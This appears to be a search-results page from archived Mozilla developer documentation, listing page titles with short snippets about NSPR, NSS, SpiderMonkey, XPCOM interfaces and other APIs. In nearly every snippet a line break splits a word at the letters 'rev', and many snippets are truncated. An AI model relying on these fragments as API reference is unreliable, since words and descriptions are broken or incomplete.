reverse order that they were pushed) before calling pr_close.
PR_QueueJob
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob( prthreadpool *tpool, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_QueueJob_Accept
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_accept( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_QueueJob_Connect
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_connect( prthreadpool *tpool, prjobiodesc *iod, const prnetaddr *addr, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_QueueJob_Read
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_read( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_QueueJob_Timer
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_timer( prthreadpool *tpool, printervaltime timeout, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_QueueJob_Write
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_write( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_STATIC_ASSERT
p
revents code from compiling when an expression has the value false at compile time.
PR_Seek
a negative value causes seeking in the
reverse direction.
PR_Seek64
a negative value causes seeking in the
reverse direction.
PR_SetErrorText
if there is error text already present in the thread, the p
revious value is first deleted.
PR_SetPollableEvent
syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure p
reviously created via a call to pr_newpollableevent.
PR_ShutdownThreadPool
syntax #include <prtpool.h> nspr_api(prstatus) pr_shutdownthreadpool( prthreadpool *tpool ); parameter the function has the following parameter: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_UnloadLibrary
syntax #include <prlink.h> prstatus pr_unloadlibrary(prlibrary *lib); parameters the function has this parameter: lib a reference p
reviously returned from pr_loadlibrary.
PR_WaitForPollableEvent
syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure p
reviously created via a call to pr_newpollableevent.
Threads
pr_clearinterrupt clears a p
revious interrupt request.
NSPR API Reference
allocation macros string operations pl_strlen pl_strcpy pl_strdup pl_strfree floating point number to string conversion pr_strtod pr_dtoa pr_cnvtf long long (64-bit) integers bitmaps formatted printing linked lists linked list types prclist linked list macros pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_p
rev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding sym...
NSS CERTVerify Log
*/ unsigned int depth; /* how far up the chain are we */ void *arg; /* error specific argument */ struct certverifylognodestr *next; /* next in the list */ struct certverifylognodestr *p
rev; /* next in the list */ }; the list is a doubly linked null terminated list sorted from low to high based on depth into the cert chain.
Cryptography functions
mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getp
revgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and later pk11_getslotfromprivatekey mxr 3.2 and late...
Build instructions for JSS 4.3.x
unix setenv java_home /usr/local/jdk1.5.0 (or whe
rever your jdk is installed) windows set java_home=c:\programs\jdk1.5.0 (or whe
rever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or whe
rever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows.
JSS FAQ
in version p
revious to jss 3.1, jss removes the default sun provider on startup.
NSS_3.11.10_release_notes.html
new and
revised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS_3.12.1_release_notes.html
new and
revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS_3.12.2_release_notes.html
new and
revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.12.5 release_notes
new and
revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.12.9 release notes
new and
revised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.3 release notes
in addition, thanks to adam langley (google) for the development of a mitigation for the issues raised in the paper, along with emilia kasper and bodo möller (google) for assisting in the
review and improvements to the initial patches.
NSS 3.15.3.1 release notes
this is a patch release to
revoke trust of a subordinate ca certificate that was mis-used to generate a certificate used by a network appliance.
NSS 3.15.4 release notes
new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_
rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
NSS 3.16.2.2 release notes
this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.16.4 release notes
the intention is to mitigate the effects of the p
revious removal of the 1024-bit entrust.net root certificate, because many public internet sites still use the "usertrust legacy secure server ca" intermediate certificate that is signed by the 1024-bit entrust.net root certificate.
NSS 3.16.6 release notes
this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.16 release notes
p
reviously, they had to be referred to with their names in ssl 3.0, with the ssl_ prefix.
NSS 3.18.1 release notes
so, to give website administrators more time to update their web servers, we
reverted the trust bits back to being enabled.
NSS 3.45 release notes
bug 1546477 - various changes in response to the ongoing fips
review note: the source package size has increased substantially due to the new fips test vectors.
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a p
reviously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
nss tech note6
any offer of binary support that may have been p
reviously made to you by nss developers is null and void.
Overview of NSS
every nss release is backward compatible with p
revious releases, allowing nss users to upgrade to the new nss shared libraries without recompiling or relinking their applications.
FC_Decrypt
description fc_decrypt decrypts a block of data according to the attributes of the p
revious call to fc_decryptinit.
FC_DecryptUpdate
description fc_decryptupdate decrypts a block of data according to the attributes of the p
revious call to fc_decryptinit.
FC_Digest
description fc_digest digests a message in a single operation according to the attributes of the p
revious call to fc_digestinit.
FC_Encrypt
description fc_encrypt encrypts a block of data according to the attributes of the p
revious call to fc_encryptinit.
FC_EncryptUpdate
description fc_encryptupdate encrypts a block of data according to the attributes of the p
revious call to fc_encryptinit.
FC_FindObjects
description fc_findobjects returns the next set of object handles matching the criteria set up by the p
revious call to fc_findobjectsinit and sets the object count variable to their number or to zero if there are none.
FC_Sign
description fc_sign signs a message in a single operation according to the attributes of the p
revious call to fc_signinit.
NSS_Initialize
the following limitation applies when this is set : secmod_waitforanytokenevent will not use c_waitforslotevent, in order to p
revent the need for c_finalize.
NSS tools : pk12util
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously.
NSS tools : ssltab
usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake.
NSS tools : ssltap
usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake.
troubleshoot.html
cd c:/programs/cygnus/bin (or whe
rever your gnu tools are installed) cp shmsdos.exe shmsdos.bak (backup shmsdos) cp sh.exe shmsdos.exe (substitute alternative shell) making this change will probably break other builds you are making on the same machine.
OLD SSL Reference
callback ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_
revealurl ssl_
revealpinarg ssl handshake functions ssl_forcehandshake ssl_rehandshake ssl_resethandshake nss shutdown function nss_shutdown deprecated functions ssl_enabledefault...
ssltyp.html
as long as you use the form shown here, your code will not need
revision.
SSL functions
m mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_
revealcert mxr 3.2 and later ssl_
revealpinarg mxr 3.2 and later ssl_
revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_seturl mxr 3.2 and later ss...
TLS Cipher Suite Discovery
each new release of a tls implementation may contain support for new cipher suites not supported in p
revious versions.
NSS Tools
source, documentation crlutil manage certificate
revocation lists (crls).
NSS Tools ssltap
usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake.
NSS tools : modutil
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously.
NSS tools : pk12util
the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously.
NSS tools : ssltap
usage tips when ssl restarts a p
revious session, it makes use of cached information to do a partial handshake.
Necko walkthrough
note: this callback may be a proxy object, nsinputstreamreadyevent: it is a runnable that dispatches itself to a p
reviously set target thread, and calls its internal mcallback->oninputstreamready function.
Personal Security Manager (PSM)
these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and
revocation), and other common pki functions.
Installing Pork
index: src/set_mcpp.sh =================================================================== --- src/set_mcpp.sh (
revision 78) +++ src/set_mcpp.sh (working copy) @@ -35,14 +35,14 @@ echo " cd ${inc_dir}/mcpp-gcc" cd ${inc_dir}/mcpp-gcc if test !
Pork Tool Development
cppsourceloc will change the p
reviously provided location information (in variable cpp_source_loc._loc) from post-location to pre-location.
Download Rhino
p
revious versions were released under mpl 1.1/gpl 2.0 license.
New in Rhino 1.7R4
ing conversion several regexp fixes regexp performance improvements es5 compliance fixes improved interpreter performance improved commonjs module implementation javascript 1.8 generator expressions many parser and ast fixes use javascript 1.7 as default version in rhino shell javaadapter improvements fixes in js to java access include mozilla test suite a list of bugs that were fixed since the p
revious release.
Rhino optimization
note some language features (indirect calls to eval, use of the arguments property of function objects) were p
reviously not supported in higher optimization levels.
Rhino overview
these features are generally not broadly useful, yet they impose significant constraints on implementations that hamper or p
revent optimization.
Performance Hints
with using the with statement p
revents the compiler from generating code for fast access to local variables.
Rhino serialization
if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will p
revent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
Rhino shell
deserialize(filename) restore from the specified file an object p
reviously written by a call to serialize.
SpiderMonkey compartments
in p
revious versions of spidermonkey, the garbage collector would walk the entire heap of all javascript objects when garbage collection was needed.
Garbage collection
but this also means that pre-barriers are inadequate to p
revent incremental gc from missing edges due to graph mutation.
Invariants
(we can probably loop fo
rever if that happens.
Tracing JIT
it is important to keep in mind that this pass runs backwards from the last lins in the input lir code to the first, generating native code in
reverse.
JIT Optimization Strategies
it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can p
revent them from being used, and common ways to enable the engine to utilize that optimization.
JSAPI User Guide
a minimal example each of the three key elements described in the p
revious section requires a few jsapi calls: the runtime: use js_newruntime to create it and js_destroyruntime to clean it up when you're done.
JS_MaybeGC
calling js_maybegc when the application is idle can help p
revent garbage collection from happening at less convenient times.
JS_NewObject
p
revious behaviour obsolete since jsapi 45 here's how the process works in detail: first, we must identify a global object.
JS_NextProperty
iterobj js::handleobject the opaque iterator object returned by a p
revious call to js_newpropertyiterator.
JS_SetArrayLength
if you call js_setarraylength on an existing array, and length is less than the highest index number for p
reviously defined elements, all elements greater than or equal to length are automatically deleted.
JS_Unlock
unlock a p
reviously locked js run-time environment.
JSAPI reference
ctprototype added in jsapi 17 js_getfunctionprototype added in spidermonkey 17 js_getarrayprototype added in spidermonkey 24 js_getconstructor js_getglobalforobject js_getinstanceprivate js_getprototype js_setprototype js_getprivate js_setprivate js_freezeobject added in spidermonkey 1.8.5 js_deepfreezeobject added in spidermonkey 1.8.5 js_isextensible added in spidermonkey 1.8.5 js_p
reventextensions added in spidermonkey 45 js_instanceof js_hasinstance js_isnative added in spidermonkey 17 js::toprimitiveadded in spidermonkey 45 js::newfunctionfromspecadded in spidermonkey 45 js_defaultvalueobsolete since jsapi 44 js_get_class obsolete since jsapi 13 js_sealobject obsolete since javascript 1.8.5 js_getparent obsolete since jsapi 39 js_setparent obsolete since jsapi 3...
SpiderMonkey 52
it continues to improve performance over p
revious spidermonkey releases.
Thread Sanitizer
runtime suppressions to p
revent races from showing up at runtime, tsan also provides a runtime suppression list.
WebReplayRoadmap
to that end, this document will be
revised over time as we find new and better ways of helping developers.
compare-locales
if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to check mobile, replace the p
revious line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to check mail, suite, calendar that lives on comm-central, you can either rely on the check-out of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want to use a copy of mozilla-ce...
Exploitable crashes
the last number, in this case 0x00000000, is the memory address firefox was p
revented from accessing.
Browser security
secure development guidelinesthe following content will likely see significant
revision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality p
revents users from launching applications that haven't been code-signed, in order to help keep their computers secure.
Gecko states
state_traversed the object is a hyperlink that has been visited (p
reviously clicked) by a user.
XForms Accessibility
xforms sample tests at mozilla xforms project there are set of tests at beaufour.dk w3c's xforms test at w3.org keyboard navigation issues navigation sequence though xforms spec declares navindex attribute to define the navigation sequence (see 1.0 specs or 1.1 specs) but rich schwerdtfeger (distinguished engineer, swg accessibility architect/strategist chair, ibm accessibility architecture
review board) gave some clarification about navindex.
Embedded Dialog API
an example of this can be found in the mfc embedding testbed application, in the method cmfcembedapp::initializewindowcreator (lxr link accurate at
revision 1.20 of that file; search for the method name in later
revisions).
Frecency algorithm
this score is determined by the amount of
revisitation, the type of those visits, how recent they were, and whether the uri was bookmarked or tagged.
Manipulating bookmarks using Places
var thisuri = bmsvc.getbookmarkuri(newbkmkid); assuming you've run all the code samples p
revious to this one, this will output "http://google.com".
Places Developer Guide
uri var mytags = tagssvc.gettagsforuri(myuri, {}); // get an array of uris for a tag var taggeduris = tagssvc.geturisfortag("mozilla"); // get an array of all tags var arrayofalltags = tagssvc.alltags; // remove tags from a uri tagssvc.untaguri(myuri, ["mozilla", "firefox"]); this service currently integrates with and is internally dependent upon bookmarks: if you tag a uri that is not p
reviously bookmarked, a new bookmark is created in the unfiled bookmarks folder.
Places Expiration
common expiration runs on a timer, every 3 minutes and uses a simple adaptive algorithm: if the last step was unable to expire enough entries the next one will expire more entries, otherwise if the p
revious step completed the cleanup the next step will be delayed.
Querying Places
// |query| and |options| are objects created in the p
revious section query.setparents([placesutils.bookmarks.toolbarguid], 1); let result = placesutils.history.executequery(query, options); serializing queries query and options objects can be serialized into a string starting with "place:" using queriestoquerystring.
Using the Places keywords API
note this is the same feature p
reviously known as bookmark keywords, the key difference is that keywords are not bound to a specific bookmark, but to a specific url.
places.sqlite Database Troubleshooting
nn must be replaced with the number we had noted p
reviously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the new places.sqlite to the profile folder, overwriting the existing one.
XPCOM changes in Gecko 2.0
p
reviously, whenever gecko detected that the application version had changed, or one or more extensions was added, removed, enabled, or disabled, it was necessary to throw away all existing component registrations, then restart the application (what we call the "extension manager restart") during its startup process.
XPCOM guide
avoiding leaks in javascript xpcom componentsprogrammers writing and
reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
Components.Constructor
using components.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in many different places): var bis = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized p
reviously var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods.
Components.results
note the common use of an abb
reviation for components.results, cr: const ci = components.interfaces, cr = components.results; function class() { /* ...
Components.utils.evalInSandbox
the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've p
reviously created using the components.utils.sandbox constructor.
Components.utils.exportFunction
this p
revents passing cross-origin objects (like window or location) to privileged functions, since the privileged code will have full access to those objects and might unintentionally do something dangerous.
XPConnect wrappers
note that a p
revious version of the current page recommended using __exposedprops__ to expose objects from chrome to content.
NS_Realloc
this pointer must have been p
reviously allocated by the xpcom memory manager, or this parameter may be null in which case this function behaves like ns_alloc.
IAccessibleImage
the user can edit the content that includes an image and therefore the user needs to be able to
review the image's position.
inIDOMUtils
return value void setcontentstate() sets the given element as the current owner of the specified state, and removes that state from the p
revious owner.
nsIAccessNode
obsolete since gecko 2.0 p
revioussiblingnode nsiaccessnode the p
revious nsiaccessnode sibling.
ChildCount
attribute long childcount; see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
Children
see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
FirstChild
see also nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
GetChildAt
see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
LastChild
see also nsiaccessible.firstchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
NextSibling
see also nsiaccessible.parent nsiaccessible.p
revioussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
Parent
see also nsiaccessible.nextsibling nsiaccessible.p
revioussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
nsIAccessibleStates
state_traversed 0x00800000 the object is a hyperlink that has been visited (p
reviously clicked) by a user.
nsIAccessibleTreeCache
acount the number of treeitem accessibles to invalidate, the number sign specifies whether rows have been inserted (plus) or removed (minus) treeviewchanged() invalidates children created for the p
revious tree view.
nsIAppShellService
if the browser is exited, this windowless browser will not p
revent firefox from exiting.
nsIAuthInformation
p
revious_failed 16 we have already tried to log in for this channel (with auth values from a p
revious promptauth call), but it failed, so we now ask the user to provide a new, correct login.
nsIAuthPrompt2
this way we p
revent multiple dialogs shown to the user because consumer may fall back to synchronous prompt on synchronous failure of this method.
nsIBoxObject
p
revioussibling nsidomelement the p
revious sibling of the box, in box-ordinal-group order.
nsICRLInfo
security/manager/ssl/public/nsicrlinfo.idlscriptable information on a certificate
revocation list (crl) issued by a certificate authority (ca).
nsICacheEntryDescriptor
checked before we write to the cache entry, to p
revent ever taking up space in the cache for an entry that we know up front is going to have to be evicted anyway.
nsIChannelEventSink
if the sink wants to p
revent this loading it must explicitly deal with it, e.g.
nsICollection
result comparison result of the p
revious two parameters.
nsIComponentManager
removebootstrappedmanifestlocation() unregisters the chrome.manifest file p
reviously registered with the addbootstrappedmanifestlocation() method.
nsIConsoleService
you may pass null if you are lazy; this will p
revent the source line showing in the error console.
nsIDOMNode
prefix domstring p
revioussibling nsidomnode read only.
nsIDOMStorageItem
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; p
reviously, it was also used for global storage.
nsIDirectoryService
unregisterprovider() unregister a provider that was p
reviously registered with the directory service.
nsIDownloadProgressListener
void ondownloadstatechange( in short astate, in nsidownload adownload ); parameters astate the p
revious state of the download.
nsIDroppedLinkHandler
this p
revents a source document from tricking the user into a dragging a chrome url for example.
nsIEditor
ntstatelistener listener); debug methods void dumpcontenttree(); void debugdumpcontent() ; void debugunittests(out long outnumtests, out long outnumtestsfailed); [notxpcom] boolean ismodifiablenode(in nsidomnode anode); constants load flags constant value description enone 0 enext 1 ep
revious 2 enextword 3 ep
reviousword 4 etobeginningofline 5 etoendofline 6 attributes attribute type description contentsmimetype string the mime type of the document.
nsIEditorSpellCheck
note: this does not clear any suggestions left over from p
revious calls to checkcurrentword(), so there may be suggestions, but they will be invalid.
nsIFile
void normalize(); file openansifiledesc(in string mode); prfiledescstar opennsprfiledesc(in long flags, in long mode); void renameto(in nsifile newparentdir, in astring newname); void remove(in boolean recursive); void
reveal(); void setrelativedescriptor(in nsifile fromfile, in acstring relativedesc); attributes attribute type description directoryentries nsisimpleenumerator returns an enumeration of the elements in a directory.
nsINavHistoryResultViewer
remarks the item p
reviously at the specified index (if any) as well as everything below it, is shifted down by one.
nsIPrefBranch2
aobserver an observer p
reviously registered with addobserver.
nsIPromptService
button_title_cancel 2 button_title_yes 3 button_title_no 4 button_title_save 5 button_title_dont_save 6 button_title_
revert 7 button_title_is_string 127 this flag indicates that the label is passed as a separate string.
nsIPushSubscription
a subscription expires if its service worker exceeds the quota, or if the desktop-notification permission for its origin is
revoked.
nsISHistory
for example to control memory usage of the browser, to p
revent users from loading documents from history, to erase evidence of prior page loads and so on.
nsIScriptError2
you may pass null if you are lazy; that will p
revent showing the source line in javascript console.
nsISecurityCheckedComponent
note that if wrapper creation is p
revented, the properties and methods will not be defined on the javascript object, whereas if wrapper creation succeeds but methods/properties are p
revented, the properties and methods will be visible, not not usable.
nsISelectionPrivate
tableselection_cell 1 tableselection_row 2 tableselection_column 3 tableselection_table 4 tableselection_allcells 5 methods addselectionlistener() void addselectionlistener( in nsiselectionlistener newlistener ); parameters newlistener endbatchchanges() will resume user interface updates after a p
revious call to startbatchchanges().
nsIStyleSheetService
return value returns true if a style sheet at sheeturi has p
reviously been added to the list of style sheets specified by type.
nsITelemetry
scalars(); test only void flushbatchedchildtelemetry(); void recordevent(in acstring acategory, in acstring amethod, in acstring aobject, [optional] in jsval avalue, [optional] in jsval extra); void seteventrecordingenabled(in acstring acategory, in boolean aenabled); jsval snapshotevents(in uint32_t adataset, [optional] in boolean aclear); void registe
revents(in acstring acategory, in jsval aeventdata); void registerscalars(in acstring acategoryname, in jsval ascalardata); void clea
revents(); test only attributes attribute type description canrecordbase boolean a flag indicating if telemetry can record base data (fhr data).
nsITimer
however this timer type guarantees that it will not queue up new events to fire the callback until the p
revious callback event finishes firing.
nsIURI
this is useful for authentication, managing sessions, or for checking the origin of an uri to p
revent cross-site scripting attacks while using methods such as window.postmessage().
nsIUpdateManager
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that maintains a list of p
reviously installed updates, as well as the currently in use update.
nsIVersionComparator
return value if a and b are two version being compared, and the return value is smaller than 0, then a < b equals 0 then version, then a==b is bigger than 0, then a > b example function compa
reversions(a,b) { var x = services.vc.compare(a,b); if(x == 0) return a + "==" + b; else if(x > 0) return a + ">" + b; return a + "<" + b; } dump(compa
reversions("1.0pre", "1.0")); example - compare current browser version this example here uses nsixulappinfo component to get the version of the browser that the code is running in.
nsIWebProgressListener
constant value description state_restoring 0x01000000 this flag indicates that the state transition corresponds to the start or stop of activity for restoring a p
reviously-rendered presentation.
nsIWindowWatcher
for example the following code will block the system because it will open windows continuously: function mywindowobserver() { this.observe=function(asubject, atopic, adata) { alert("window event: " + atopic) //and this is where the bugs origins because opening this alert will cause a window-open //event and the call of this method again (fo
rever) } } var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); ww.registernotification(new mywindowobserver()) alert("") //generate the first window-open event aobserver the nsiobserver to be notified when windows are opened or closed.
nsIXPConnect
ptions thrown missing exception missing description varianttojs() jsval varianttojs( in jscontextptr ctx, in jsobjectptr scope, in nsivariant value ); parameters ctx missing description scope missing description value missing description return value missing description exceptions thrown missing exception missing description wrapjs() wrapjs() will yield a new or p
reviously existing xpcom interface pointer to represent the jsobject passed in.
nsIXSLTProcessor
getparameter() gets a parameter if p
reviously set by setparameter().
nsIXULRuntime
if a component encounters startup errors that might p
revent the app from showing proper ui, it should set this flag to true.
XPCOM Interface Reference by grouping
rorlistener stream stream nsipipe nsitraceablechannel nsitransport nsitransporteventsink nsitransportsecurityinfo timer nsitimer nsitimercallback ui windows nsitaskbarp
review nsitaskbarp
reviewbutton nsitaskbarp
reviewcontroller nsitaskbarprogress nsitaskbartabp
review nsitaskbarwindowp
review nsiwintaskbar nsialertsservice nsiwebprogress nsiwebprogresslistener nsiwebprogresslistener2 update nsiupdate nsiupdatec...
Setting HTTP request headers
while the p
revious version we showed before was good for learning, in an actual real-world application, you'd probably want to code it more like the following.
Reference Manual
to help p
revent this, we are trying to make the first form, above, illegal by making operator& private.
Status, Recent Changes, and Plans
bug 59414: making operator& private may help p
revent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library.
Demo Addon
" *" : "") + "\n"; if (folder.hassubfolders) for each (let folder in fixiterator(folder.subfolders, ci.nsimsgfolder)) print(indent + " ", folder); }; print(" ", folder); as in the p
revious example, we get the incomingserver of the account in question.
Finding the code for a feature
looking that up in mxr, its underlying function uses a very strange call p
revhdrfolder[toggler](messages, key) to change the key.
Styling the Folder Pane
specialfolder-smart -- indicates that the folder is a child of a unified folder (p
reviously known as smart folder) in the smart folders view.
Tips and Tricks from the newsgroups
message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to p
revent pop messages from getting garbled during message retrieval ...
Thunderbird extensions
read about the main windows to learn about « thread pane », « p
review pane », and « folder pane ».
libmime content type handlers
libmime has a homegrown object system written in c, and since the content type handler plugins need to exist in this module, a description of the libmime object system should be
reviewed and understood.
Thunderbird
there's also information about how the
review process works and how to use the mozilla symbol server to help with debugging.
Using Objective-C from js-ctypes
globalblock; // global flags bl.flags = block_const.block_has_stret; bl.reserved = 0; bl.invoke = afunctypeptr; // create descriptor var desc = block_descriptor_1(); desc.reserved = 0; desc.size = block_literal_1.size; // set descriptor into block literal bl.descriptor = desc.address(); return bl; } an example of this function in use can be seen here: _ff-addon-snippet-objc_monito
revents - shows how to monitor and block mouse and key events on mac os x ...
Standard OS Libraries
wms on ubuntu work a little differently but we'll
revisit this topic later in this article (did you know they have a *special* firefox build for ubuntu?).
Working with data
as
review, making a null-terminated string happens like this: var cstr_nullterminated = ctypes.jschar.array()('rawr'); console.log(cstr_nullterminated); // outputs to browserconsole: `cdata { length: 5 }` console.log(cstr_nullterminated.tostring()); // outputs to browser console: `"ctypes.char16_t.array(5)(["r", "a", "w", "r", "\x00"])"` the console.log shows that the length is greater then the lengt...
ABI
a calling convention is an implementation-level (low-level) scheme regarding how subroutines receive parameters from their caller and how they
revert.
StructType
method overview define(fields) methods inherited from ctype ctype array([n]) string tosource() string tostring() methods define() defines a p
reviously declared opaque type's fields.
Introduction to DOM Inspector - Firefox Developer Tools
(note that there are bugs which p
revent the flasher from dom inspector apis from working correctly on certain platforms.) if you inspect the main browser window, for example, and select nodes in the dom nodes viewer (other than the elements which have no visible ui as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with...
Source map errors - Firefox Developer Tools
the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fetch resource a bug in firefox p
revents it from loading source maps for web extensions.
